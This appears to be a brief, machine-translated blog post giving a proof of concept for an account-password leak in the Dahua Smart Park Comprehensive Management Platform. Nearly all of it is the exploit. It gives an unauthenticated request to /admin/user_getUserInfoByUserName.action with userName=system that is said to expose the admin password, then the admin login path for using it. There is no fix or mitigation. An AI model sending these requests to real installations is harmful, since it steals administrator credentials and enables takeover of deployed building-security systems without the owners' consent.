Post

Dahua Smart Park Comprehensive Management Platform User_getuserinfobyusername Action Account Password Leakage Vulnerability

Posted
By Rhy0z
1 min read
Dahua Smart Park Comprehensive Management Platform User_getuserinfobyusername Action Account Password Leakage Vulnerability

Dahua Smart Park Comprehensive Management Platform user_getUserInfoByUserName.action Account password leakage vulnerability

Vulnerability Description

Dahua Smart Park Comprehensive Management Platform user_getUserInfoByUserName.action has an API interface, resulting in a leak of the management park account password

Vulnerability Impact

Smart Park Comprehensive Management Platform

Network surveying and mapping

Vulnerability reappears

img

Request a POC

1

/admin/user_getUserInfoByUserName.action?userName=system

img

Access the address after obtaining

1

/admin/login_login.action

img

This post is licensed under CC BY 4.0 by the author.